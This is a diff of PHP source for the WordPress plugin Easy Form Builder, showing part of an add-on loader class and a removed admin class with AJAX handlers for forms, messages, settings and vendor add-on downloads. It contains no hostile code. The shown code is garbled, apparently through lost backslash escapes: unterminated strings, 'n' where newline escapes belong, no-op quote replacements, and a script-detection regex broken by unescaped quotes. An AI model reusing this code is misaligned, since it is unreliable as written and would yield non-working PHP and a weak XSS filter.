+		"movebtn"=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/move-button.gif',
+		'logoGif'=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/efb-256.gif',
+		];
+		$smtp =-1;
+		$captcha =false;
+		$smtp_m = "";
+		$addons = $efbFunction->fun_get_addons_list_efb($ac);
+		if(is_object($ac)){
+			if( isset($ac->siteKey)&& strlen($ac->siteKey)>5){$captcha="true";}
+			if(isset($ac->smtp) && $ac->smtp=="true"){$smtp=1;}else if (isset($ac->smtp) && $ac->smtp=="false"){$smtp=0;$smtp_m =$lang['sMTPNotWork'];}
+		}else{$smtp_m =$lang['goToEFBAddEmailM'];}
+		wp_enqueue_script( 'Emsfb-admin-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/admin-efb.js',false,EMSFB_PLUGIN_VERSION, true);
+		$efb_var_data = apply_filters('efb_admin_localize_vars', array(
+			'ajax_url' => admin_url('admin-ajax.php'),
+			'nonce'=> wp_create_nonce("wp_rest"),
+			'check' => 2,
+			'pro' => $pro ? 1 : 0,
+			'rtl' => is_rtl() ,
+			'text' => $lang	,
+			'images' => $img,
+			'captcha'=>$captcha,
+			'smtp'=>$smtp,
+			"smtp_message"=>$smtp,
+			'maps'=> $maps,
+			'bootstrap' =>$this->check_temp_is_bootstrap(),
+			"language"=> get_locale(),
+			"addson"=>$addons,
+			'wp_lan'=>get_locale(),
+			'v_efb'=>EMSFB_PLUGIN_VERSION,
+			'setting'=>$ac,
+		), 'addon');
+		wp_localize_script('Emsfb-admin-js','efb_var',$efb_var_data);
+		wp_enqueue_script('efb-val-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/val-efb.js',false,EMSFB_PLUGIN_VERSION, true);
+		 wp_enqueue_script( 'Emsfb-core-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/core-efb.js',false,EMSFB_PLUGIN_VERSION, true);
+		 wp_localize_script('Emsfb-core-js','ajax_object_efm_core',array(
+			'nonce'=> wp_create_nonce("wp_rest"),
+			'check' => 1		));
+		wp_enqueue_script('efb-main-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/new-efb.js',false,EMSFB_PLUGIN_VERSION, true);
+	}
+	public function fun_Emsfb_creator()
+	{
+	}
+
+	public function isScript( $str ) { return preg_match( "/<script.*type="(?!text/x-template).*>(.*)</script>/im", $str ) != 0; }
+	public function insert_db(){
+		if(empty($this->db)){
+            global $wpdb;
+            $this->db = $wpdb;
+        }
+		$table_name = $this->db->prefix . "emsfb_form";
+		$r =$this->db->insert($table_name, array(
+			'form_name' => $this->name,
+			'form_structer' => $this->value,
+			'form_email' => $this->email,
+			'form_created_by' => $this->userId,
+			'form_type'=>$this->formtype,
+		));    $this->id_  = $this->db->insert_id;
+	}
+	public function check_temp_is_bootstrap (){
+
+		$cached = get_transient('emsfb_theme_has_bootstrap');
+		if ($cached !== false) {
+			return $cached === 'yes';
+		}
+
+        $it = list_files(get_template_directory());
+        $s = false;
+        foreach($it as $path) {
+            if (preg_match("/bbootstrap+.+.css+/i", $path))
+            {
+                $f = file_get_contents($path);
+                if(preg_match("/col-md-12/i", $f)){
+                    $s= true;
+                    break;
+                }
+            }
+        }
+
+		set_transient('emsfb_theme_has_bootstrap', $s ? 'yes' : 'no', DAY_IN_SECONDS);
+        return  $s;
+    }
+}
+new Addon();
--- a/easy-form-builder/includes/admin/class-Emsfb-admin.php
+++ b/easy-form-builder/includes/admin/class-Emsfb-admin.php
@@ -1,1838 +1,1828 @@
-<?php
-
-namespace Emsfb;
-
-
-
-/**
- * Class Admin
- *
- * @package Emsfb
- */
-class Admin {
-    /**
-     * Admin constructor.
-     */
-    public $ip;
-    public $plugin_version;
-    protected $db;
-    public $efbFunction;
-
-
-    public function __construct() {
-
-
-        $this->init_hooks();
-        global $wpdb;
-        $this->db = $wpdb;
-
-    }
-
-    /**
-     * Initial plugin
-     */
-    private function init_hooks() {
-
-        if (!function_exists('wp_get_current_user')) {
-            include(ABSPATH . "wp-includes/pluggable.php");
-
-        }
-
-
-
-        if (is_admin() and is_super_admin()) {
-            $this->add_cap();
-        }
-
-
-        add_action('admin_enqueue_scripts', [$this, 'admin_assets']);
-        add_action('admin_menu', [$this, 'admin_menu']);
-
-        $this->ip = $this->get_ip_address();
-
-
-        if (is_admin()) {
-
-
-
-
-            add_action('wp_ajax_remove_id_Emsfb', [$this, 'delete_form_id_public']);
-            add_action('wp_ajax_remove_message_id_Emsfb', [$this, 'delete_message_id_public']);
-            add_action('wp_ajax_get_form_id_Emsfb', [$this, 'get_form_id_Emsfb']);
-            add_action('wp_ajax_get_messages_id_Emsfb', [$this, 'get_messages_id_Emsfb']);
-            add_action('wp_ajax_get_all_response_id_Emsfb', [$this, 'get_all_response_id_Emsfb']);
-            add_action('wp_ajax_update_form_Emsfb', [$this, 'update_form_id_Emsfb']);
-            add_action('wp_ajax_update_message_state_Emsfb', [$this, 'update_message_state_Emsfb']);
-            add_action('wp_ajax_set_replyMessage_id_Emsfb', [$this, 'set_replyMessage_id_Emsfb']);
-            add_action('wp_ajax_set_setting_Emsfb', [$this, 'set_setting_Emsfb']);
-            add_action('wp_ajax_get_track_id_Emsfb', [$this, 'get_ajax_track_admin']);
-            add_action('wp_ajax_clear_garbeg_Emsfb', [$this, 'clear_garbeg_admin']);
-            add_action('wp_ajax_check_email_server_efb', [$this, 'check_email_server_admin']);
-            add_action('wp_ajax_add_addons_Emsfb', [$this, 'add_addons_Emsfb']);
-            add_action('wp_ajax_remove_addons_Emsfb', [$this, 'remove_addons_Emsfb']);
-            add_action('wp_ajax_update_file_Emsfb', array( $this,'file_upload_public'));
-
-            add_action('wp_ajax_send_sms_pnl_efb', [$this, 'send_sms_admin_Emsfb']);
-            add_action('wp_ajax_dup_efb', [$this, 'fun_duplicate_Emsfb']);
-
-            add_action('efb_loading_card', [$this, 'loading_card_efb']);
-
-            add_action('wp_ajax_remove_messages_Emsfb', [$this, 'delete_messages_Emsfb']);
-            add_action('wp_ajax_read_list_Emsfb', [$this, 'read_list_Emsfb']);
-
-
-            add_action('wp_ajax_heartbeat_Emsfb' , [$this, 'heartbeat_Emsfb'] );
-            add_action('wp_ajax_report_problem_Emsfb' , [$this, 'report_problem_Emsfb'] );
-
-             add_action('admin_notices', [$this, 'admin_notices_efb']);
-
-
-        }
-    }
-
-    public function add_cap() {
-
-        $role = get_role('administrator');
-
-        $role->add_cap('Emsfb');
-        $role->add_cap('Emsfb_create');
-        $role->add_cap('Emsfb_panel');
-        $role->add_cap('Emsfb_addon');
-
-        if(is_dir(EMSFB_PLUGIN_DIRECTORY."/vendor/smssended")) {
-            $role->add_cap('Emsfb_sms_efb');
-        }
-
-    }
-
-    /* function extend_nonce_life_efb($seconds) {
-        return 60 * 60 * 24;
-    } */
-    public function admin_assets($hook) {
-        global $current_screen;
-        $hook = $hook ? $hook : http_build_query($_GET);
-
-
-
-
-        if (strpos($hook, 'Emsfb')==true && is_admin()) {
-
-            if (is_rtl()) {
-
-                wp_register_style('Emsfb-css-rtl', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/admin-rtl-efb.css', true,EMSFB_PLUGIN_VERSION );
-                wp_enqueue_style('Emsfb-css-rtl');
-
-            }
-
-            wp_register_style('Emsfb-style-css', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/style-efb.css',true,EMSFB_PLUGIN_VERSION);
-            wp_enqueue_style('Emsfb-style-css');
-
-            wp_register_style('Emsfb-bootstrap', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/bootstrap.min-efb.css',true,EMSFB_PLUGIN_VERSION);
-            wp_enqueue_style('Emsfb-bootstrap');
-
-
-
-
-
-
-
-            wp_register_style('Emsfb-bootstrap-icons-css', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/bootstrap-icons-efb.css',true,EMSFB_PLUGIN_VERSION);
-            wp_enqueue_style('Emsfb-bootstrap-icons-css');
-
-            wp_register_style('Emsfb-bootstrap-select-css', EMSFB_PLUGIN_URL . 'includes/admin/assets/css/bootstrap-select-efb.css',true,EMSFB_PLUGIN_VERSION);
-            wp_enqueue_style('Emsfb-bootstrap-select-css');
-
-            $this->check_and_enqueue_font_roboto();
-            $lang = get_locale();
-            if (strlen($lang) > 0) {$lang = explode('_', $lang)[0];}
-
-                wp_enqueue_script('efb-bootstrap-min-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/bootstrap.min-efb.js', false, EMSFB_PLUGIN_VERSION, true);
-
-
-                 wp_enqueue_script('efb-bootstrap-bundle-min-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/bootstrap.bundle.min-efb.js', array( 'jquery' ), true, EMSFB_PLUGIN_VERSION, true);
-
-
-                wp_enqueue_script('efb-bootstrap-icon-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/bootstrap-icon-efb.js', false, EMSFB_PLUGIN_VERSION, true);
-
-        }
-    }
-
-    /**
-     * Register admin menu
-     */
-    public function admin_menu() {
-        $noti_count = count($this->get_not_read_message());
-        $icon       = EMSFB_PLUGIN_URL . '/includes/admin/assets/image/logo-gray.png';
-        add_menu_page(
-            esc_html__('Panel', 'easy-form-builder'),
-
-            $noti_count ? sprintf(esc_html__('Easy Form Builder', 'easy-form-builder') . ' <span id="efbCountM" class="efb awaiting-mod">%d</span>', $noti_count) : esc_html__('Easy Form Builder', 'easy-form-builder'),
-
-            'Emsfb',
-            'Emsfb',
-            '',
-            '' . $icon . ''
-        );
-        add_submenu_page('Emsfb', esc_html__('Panel', 'easy-form-builder'), esc_html__('Panel', 'easy-form-builder'), 'Emsfb', 'Emsfb', [$this, 'panel_callback']);
-
-    }
-
-    /**
-     * Callback outbox page.
-     */
-    public function panel_callback() {
-        include_once EMSFB_PLUGIN_DIRECTORY . "/includes/admin/class-Emsfb-panel.php";
-        $list_table = new Panel_edit();
-
-    }
-
-    public function delete_form_id_public() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","somethingWentWrongPleaseRefresh"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-
-            $m = $lang["error403"];
-            $response = ['success' => false, 'm' =>$m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-
-        if (empty($_POST['id'])) {
-            $m = $lang["somethingWentWrongPleaseRefresh"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-            die();
-        }
-        $id = isset($_POST['id']) ? (int) sanitize_text_field( wp_unslash($_POST['id'])) : 0;
-
-        $table_name = $this->db->prefix . "emsfb_form";
-        $r          = $this->db->delete(
-            $table_name,
-            ['form_id' => $id],
-            ['%d']
-        );
-        $table_name = $this->db->prefix . "emsfb_msg_";
-         $this->db->delete(
-            $table_name,
-            ['form_id' => $id],
-            ['%d']
-        );
-        $response = ['success' => true, 'r' => $r];
-        wp_send_json_success($response, 200);
-    }
-    public function delete_message_id_public() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","somethingWentWrongPleaseRefresh"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-
-            $m = $lang["error403"];
-            $response = ['success' => false, 'm' =>$m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-
-        if (empty($_POST['id'])) {
-            $m = $lang["somethingWentWrongPleaseRefresh"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-            die();
-        }
-        $id = isset($_POST['id']) ? (int) sanitize_text_field( wp_unslash($_POST['id'])) : 0;
-
-        $table_name = $this->db->prefix . "emsfb_msg_";
-        $r          = $this->db->delete(
-            $table_name,
-            ['msg_id' => $id],
-            ['%d']
-        );
-
-        $response = ['success' => true, 'r' => $r];
-        wp_send_json_success($response, 200);
-    }
-
-    public function update_form_id_Emsfb() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["sms_noti","msg_adons","error403","invalidRequire","nAllowedUseHtml","updated","upDMsg" ,"newMessageReceived","trackNo","url","newResponse","WeRecivedUrM"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-
-            $m = $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-
-        }
-
-        $post_value = isset($_POST['value']) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';
-        $post_id = isset($_POST['id']) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : '';
-        $post_name = isset($_POST['name']) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
-        if (empty($post_value) || empty($post_id) || empty($post_name)) {
-            $m = $lang["invalidRequire"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-
-        }
-
-        $post_name = isset($_POST['name']) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
-        if ($this->isScript(json_encode($post_value),JSON_UNESCAPED_UNICODE) || $this->isScript(json_encode($post_name),JSON_UNESCAPED_UNICODE)) {
-            $m = $lang["nAllowedUseHtml"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-        }
-
-        $valp = isset($post_value) ? str_replace('\', '', $post_value) : '';
-		$valp = json_decode($valp,true);
-
-		$sms_msg_new_noti="";
-		$sms_msg_responsed_noti="";
-		$sms_msg_recived_user="";
-		$sms_admins_phoneno="";
-        if(isset($valp[0]['smsnoti']) && intval($valp[0]['smsnoti'])==1){
-
-
-
-
-			$sms_msg_new_noti = isset($valp[0]['sms_msg_new_noti']) ?$valp[0]['sms_msg_new_noti'] :$lang["newMessageReceived"] ."n". $lang["trackNo"] .": [confirmation_code]n". $lang["url"] .": [link_response]";
-			$sms_msg_responsed_noti = isset($valp[0]['sms_msg_responsed_noti']) ? $valp[0]['sms_msg_responsed_noti'] :  $lang["newResponse"]."n". $lang["trackNo"] .": [confirmation_code]n". $lang["url"] .": [link_response]";
-			$sms_msg_recived_user = isset($valp[0]['sms_msg_recived_usr']) ? $valp[0]['sms_msg_recived_usr'] : $lang["WeRecivedUrM"] ."n". $lang["trackNo"] .": [confirmation_code]n". $lang["url"] .": [link_response]";
-			$sms_admins_phoneno = isset($valp[0]['sms_admins_phone_no']) ? $valp[0]['sms_admins_phone_no'] : "";
-
-
-
-
-
-
-
-			unset($valp[0]['sms_msg_new_noti']);
-			unset($valp[0]['sms_msg_responsed_noti']);
-			unset($valp[0]['sms_msg_recived_user']);
-			if(isset($valp[0]['sms_admins_phone_no'])){unset($valp[0]['sms_admins_phone_no']);}
-
-
-
-		}
-        $valp = $efbFunction->sanitize_obj_msg_efb($valp);
-        $form_type = $valp[0]['type'];
-
-		$value =json_encode($valp,JSON_UNESCAPED_UNICODE);
-        $value_ =str_replace('"', '"', $value);
-
-
-        $table_name = $this->db->prefix . "emsfb_form";
-
-        $r = $this->db->update($table_name, ['form_structer' => $value_, 'form_name' => $post_name ,'form_type'=>$form_type ], ['form_id' => $post_id]);
-
-
-
-         $this->clear_form_cache_efb($post_id);
-
-
-        $value_="";
-        $value="";
-        if(isset($valp[0]['smsnoti']) && intval($valp[0]['smsnoti'])==1 ){
-
-
-            if(!is_dir(EMSFB_PLUGIN_DIRECTORY."/vendor/smssended")) {
-               $m = str_replace('NN', '<b>' . $lang['sms_noti'] . '</b>', $lang['msg_adons']);
-                $response = ['success' => false, 'm' => $m];
-                wp_send_json_success($response, 200);
-            }
-            $pth = EMSFB_PLUGIN_DIRECTORY . '/vendor/smssended/smsefb.php';
-            if(!file_exists($pth)) {
-                $m = str_replace('NN', '<b>' . $lang['sms_noti'] . '</b>', $lang['msg_adons']);
-                $response = ['success' => false, 'm' => $m];
-                wp_send_json_success($response, 200);
-            }
-			require_once( EMSFB_PLUGIN_DIRECTORY . '/vendor/smssended/smsefb.php' );
-			$smsefb = new smssendefb();
-
-
-
-			$smsefb->add_sms_contact_efb(
-                $post_id,
-				$sms_admins_phoneno,
-				$sms_msg_recived_user,
-				$sms_msg_new_noti,
-				$sms_msg_new_noti,
-				$sms_msg_responsed_noti);
-		}
-        $m = $lang["updated"];
-        $response = ['success' => true, 'r' =>"updated", 'value' => "[EMS_Form_Builder id=$post_id]"];
-        wp_send_json_success($response, 200);
-    }
-    public function add_addons_Emsfb() {
-
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","done","invalidRequire","upDMsg"];
-        $lang= $efbFunction->text_efb($text);
-        $ac= $efbFunction->get_setting_Emsfb();
-        	/*
-            AdnSPF == stripe payment
-            AdnOF == offline form
-            AdnPPF == persia payment
-            AdnATC == advance tracking code
-            AdnSS == sms service
-            AdnCPF == crypto payment
-            AdnESZ == zone picker
-            AdnSE == email service
-
-             AdnWHS == webhook
-            AdnPAP == paypal
-            AdnWSP == whitestudio pay
-            AdnSMF == smart form
-            AdnPLF == passwordless form
-            AdnMSF == membership form
-            AdnBEF == booking and event form
-            'AdnPDP'=>0,
-			'AdnADP'=>0
-        */
-
-
-        $post_value = isset($_POST['value']) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';
-        $allw = ["AdnSPF","AdnOF","AdnPPF","AdnATC","AdnSS","AdnCPF","AdnESZ","AdnSE",
-                 "AdnWHS","AdnPAP","AdnWSP","AdnSMF","AdnPLF","AdnMSF","AdnBEF","AdnPDP","AdnADP"];
-
-        $dd =gettype(array_search($post_value, $allw));
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can || $dd!="integer") {
-
-            $m = $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-
-        }
-
-        if (empty($post_value) ) {
-            $m = $lang["invalidRequire"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-
-        }
-
-
-        if ($this->isScript($post_value)) {
-            $m = $lang["nAllowedUseHtml"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-        }
-       if($post_value!="AdnOF"){
-
-
-            $server_name = isset($_SERVER['HTTP_HOST']) ? str_replace("www.", "", sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) ) : '';
-            $vwp = get_bloginfo('version');
-            $vwp = substr($vwp,0,3);
-            $u = 'https://whitestudio.team/wp-json/wl/v1/addons-link/'. $server_name.'/'.$post_value .'/'.$vwp.'/' ;
-            if(get_locale()=='fa_IR'){
-                $u = 'https://easyformbuilder.ir/wp-json/wl/v1/addons-link/'. $server_name.'/'.$post_value .'/'.$vwp.'/' ;
-            }
-
-            $attempts = 2;
-
-            for ($i = 0; $i < $attempts; $i++) {
-            $request = wp_remote_get($u);
-                if (!is_wp_error($request)) {
-                    break;
-                }
-                if ($i == $attempts - 1) {
-                    $m = esc_html__('Cannot install add-ons of Easy Form Builder because the plugin is not able to connect to the whitestudio.team server', 'easy-form-builder');
-                    $response = ['success' => false, "m" => $m];
-                    wp_send_json_success($response, 200);
-                }
-            }
-
-
-            $body = wp_remote_retrieve_body( $request );
-            $data = json_decode( $body );
-
-            if($data==null || $data=='null'){
-                $m = esc_html__('You can not use the Easy Form Builder features right now. Contact whitestudio.team support for help.','easy-form-builder');
-                $response = ['success' => false, "m" => $m];
-                wp_send_json_success($response, 200);
-            }
-
-            if($data->status==false){
-                $response = ['success' => false, "m" => $data->error];
-                wp_send_json_success($response, 200);
-
-            }
-
-
-            if (version_compare(EMSFB_PLUGIN_VERSION,$data->v)==-1) {
-                $m = $lang["upDMsg"];
-                $response = ['success' => false, "m" => $m];
-                wp_send_json_success($response, 200);
-
-            }
-
-            if($data->download==true ){
-                $url =$data->link;
-
-               $s= $this->fun_addon_new($url);
-               if($s==false ){
-                $m = esc_html__('Cannot install add-ons of Easy Form Builder because the plugin is not able to unzip files','easy-form-builder');
-                $response = ['success' => false, "m" => $m];
-                wp_send_json_success($response, 200);
-               }
-
-            }
-        }
-        /*
-            AdnSPF == strip payment
-            AdnOF == offline form
-            AdnPPF == persia payment
-            AdnATC == advance tracking code
-            AdnSS == sms service
-            AdnCPF == crypto payment
-            AdnESZ == zone picker
-            AdnSE == email service
-
-            AdnWHS == webhook
-            AdnPAP == paypal
-            AdnWSP == whitestudio pay
-            AdnSMF == smart form
-            AdnPLF == passwordless form
-            AdnMSF == membership form
-            AdnBEF == booking and event form
-        */
-        if(isset($ac->AdnSPF)==false){
-
-
-            $ac->AdnSPF=0;
-            $ac->AdnOF=0;
-            $ac->AdnPPF=0;
-            $ac->AdnATC=0;
-            $ac->AdnSS=0;
-            $ac->AdnCPF=0;
-            $ac->AdnESZ=0;
-            $ac->AdnSE=0;
-
-            $ac->AdnWHS=0;
-            $ac->AdnPAP=0;
-            $ac->AdnWSP=0;
-            $ac->AdnSMF=0;
-            $ac->AdnPLF=0;
-            $ac->AdnMSF=0;
-            $ac->AdnBEF=0;
-        }
-        $ac->{$post_value}=1;
-
-        $ac->efb_version=EMSFB_PLUGIN_VERSION;
-
-        $table_name = $this->db->prefix . "emsfb_setting";
-        $newAc= json_encode( $ac ,JSON_UNESCAPED_UNICODE );
-        $newAc= str_replace('"', '"', $newAc);
-        $this->db->insert(
-            $table_name,
-            [
-                'setting' => $newAc,
-                'edit_by' => get_current_user_id(),
-                'date'    => wp_date('Y-m-d H:i:s'),
-                'email'   => $ac->emailSupporter,
-            ]
-        );
-        update_option('emsfb_settings', $newAc);
-        set_transient('emsfb_settings_transient', $newAc, 1440);
-        $response = ['success' => true, 'r' =>"done", 'value' => "add_addons_Emsfb",'new'=>$newAc];
-        wp_send_json_success($response, 200);
-    }
-    public function remove_addons_Emsfb() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","done","invalidRequire"];
-        $lang= $efbFunction->text_efb($text);
-        $ac= $efbFunction->get_setting_Emsfb();
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-
-            $m = $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-
-        if (empty($_POST['value']) ) {
-            $m = $lang["invalidRequire"];
-            $response = ['success' => false, "m" => $m];
-
-            wp_send_json_success($response, 200);
-            die();
-        }
-
-        $post_value  = isset($_POST['value']) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';
-        if ($this->isScript($post_value)) {
-            $m = $lang["nAllowedUseHtml"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-            die();
-        }
-
-        $server_name =  str_replace("www.", "",  isset($_SERVER['HTTP_HOST']) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) : '');
-
-
-        /*
-            AdnSPF == strip payment
-            AdnOF == offline form
-            AdnPPF == persia payment
-            AdnATC == advance tracking code
-            AdnSS == sms service
-            AdnCPF == crypto payment
-            AdnESZ == zone picker
-            AdnSE == email service
-
-            AdnWHS == webhook
-            AdnPAP == paypal
-            AdnWSP == whitestudio pay
-            AdnSMF == smart form
-            AdnPLF == passwordless form
-            AdnMSF == membership form
-            AdnBEF == booking and event form
-        */
-        if(isset($ac->AdnSPF)==false){
-
-
-            $ac->AdnSPF=0;
-            $ac->AdnOF=0;
-            $ac->AdnPPF=0;
-            $ac->AdnATC=0;
-            $ac->AdnSS=0;
-            $ac->AdnCPF=0;
-            $ac->AdnESZ=0;
-            $ac->AdnSE=0;
-            $ac->AdnWHS=0;
-            $ac->AdnPAP=0;
-            $ac->AdnWSP=0;
-            $ac->AdnSMF=0;
-            $ac->AdnPLF=0;
-            $ac->AdnMSF=0;
-            $ac->AdnBEF=0;
-        }
-        $ac->{$post_value}=0;
-
-        $table_name = $this->db->prefix . "emsfb_setting";
-        $newAc= json_encode( $ac ,JSON_UNESCAPED_UNICODE );
-        $newAc= str_replace('"', '"', $newAc);
-
-        $this->db->insert(
-            $table_name,
-            [
-                'setting' => $newAc,
-                'edit_by' => get_current_user_id(),
-                'date'    => wp_date('Y-m-d H:i:s'),
-                'email'   => $ac->emailSupporter,
-            ]
-        );
-
-        update_option('emsfb_settings', $newAc);
-        set_transient('emsfb_settings_transient', $newAc, 1440);
-        $response = ['success' => true, 'r' =>"done", 'value' => "add_addons_Emsfb",'new'=>$newAc];
-        wp_send_json_success($response, 200);
-    }
-
-    public function update_message_state_Emsfb() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","somethingWentWrongPleaseRefresh","updated"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-            $m =   $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-        $post_value = isset($_POST['value']) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';
-        if (empty($_POST['id']) && $this->isHTML(json_encode($post_value),JSON_UNESCAPED_UNICODE)) {
-            $m =   $lang["somethingWentWrongPleaseRefresh"];
-            $response = ['success' => false, "m" => esc_html__("Something went wrong, Please refresh the page." ,'easy-form-builder')];
-            wp_send_json_success($response, 200);
-            die();
-        }
-
-        $id = isset($_POST['id']) ? (int) sanitize_text_field( wp_unslash($_POST['id'])) : 0;
-
-        $table_name = $this->db->prefix . "emsfb_msg_";
-        $r          = $this->db->update($table_name, ['read_' => 1, 'read_date' => wp_date('Y-m-d H:i:s')], ['msg_id' => $id]);
-
-        $m =   $lang["updated"];
-        $response = ['success' => true, 'r' =>"updated"];
-        wp_send_json_success($response, 200);
-    }
-
-    public function get_form_id_Emsfb() {
-
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","somethingWentWrongPleaseRefresh"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-
-            $m =   $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-        if (empty($_POST['id'])) {
-            $m =   $lang["somethingWentWrongPleaseRefresh"];
-            $response = ['success' => false, "m" =>$m];
-            wp_send_json_success($response, 200);
-            die();
-        }
-        $id = isset($_POST['id']) ? (int) sanitize_text_field( wp_unslash($_POST['id'])) : 0;
-
-        $table_name = $this->db->prefix . "emsfb_form";
-        $value = $this->db->get_var("SELECT form_structer FROM `$table_name` WHERE form_id = '$id'");
-
-
-
-        $smsnoti = strpos($value,'"smsnoti":"1"') !==false ? 1 : 0;
-
-        if($smsnoti){
-
-
-            if(is_dir(EMSFB_PLUGIN_DIRECTORY."/vendor/smssended")){
-                require_once( EMSFB_PLUGIN_DIRECTORY . '/vendor/smssended/smsefb.php' );
-                $smsefb = new smssendefb();
-                $sms = $smsefb->get_sms_contact_efb($id);
-
-
-
-                $value = str_replace('"smsnoti":"1"', '"smsnoti":"1","sms_msg_new_noti":"'.$sms->new_message_noti_user.'","sms_msg_responsed_noti":"'.$sms->new_response_noti.'","sms_msg_recived_usr":"'.$sms->recived_message_noti_user.'","sms_admins_phone_no":"'.$sms->admin_numbers.'"',$value);
-
-
-            }
-        }
-
-        $response = ['success' => true, 'ajax_value' => $value, 'id' => $id];
-        wp_send_json_success($response, 200);
-
-    }
-
-
-
-    public function get_messages_id_Emsfb() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["error403","somethingWentWrongPleaseRefresh"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-            $m =   $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-        if (empty($_POST['id'])) {
-            $m =   $lang["somethingWentWrongPleaseRefresh"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-        }
-        $id = isset($_POST['id']) ? sanitize_text_field( wp_unslash($_POST['id'])) : '';
-        $code = 'efb'. $id;
-
-        $code =wp_create_nonce($code);
-
-        $id =  ( int ) sanitize_text_field($id);
-
-        $table_name = $this->db->prefix . "emsfb_msg_";
-        $value      = $this->db->get_results("SELECT * FROM `$table_name` WHERE form_id = '$id' ORDER BY `$table_name`.date DESC");
-
-        $response   = ['success' => true, 'ajax_value' => $value, 'id' => $id,'nonce_msg'=> $code];
-        wp_send_json_success($response, 200);
-    }
-
-    public function get_all_response_id_Emsfb() {
-        $efbFunction = $this->get_efbFunction(1);
-        $text = ["spprt","error403","somethingWentWrongPleaseRefresh" ,"guest"];
-        $lang= $efbFunction->text_efb($text);
-        $currrent_user_can = $efbFunction->user_permission_efb_admin_dashboard();
-        if (!check_ajax_referer('wp_rest', 'nonce', false) || !$currrent_user_can) {
-
-            $m =   $lang["error403"];
-            $response = ['success' => false, 'm' => $m];
-            wp_send_json_success($response, 200);
-            die("secure!");
-        }
-        if (empty($_POST['id'])) {
-            $m =   $lang["somethingWentWrongPleaseRefresh"];
-            $response = ['success' => false, "m" => $m];
-            wp_send_json_success($response, 200);
-        }
-
-        $id = isset($_POST['id']) ? (int) sanitize_text_field( wp_unslash($_POST['id'])) : 0;
-
-        $table_name = $this->db->prefix . "emsfb_rsp_";
-        $value      = $this->db->get_results("SELECT * FROM `$table_name` WHERE msg_id = '$id'");
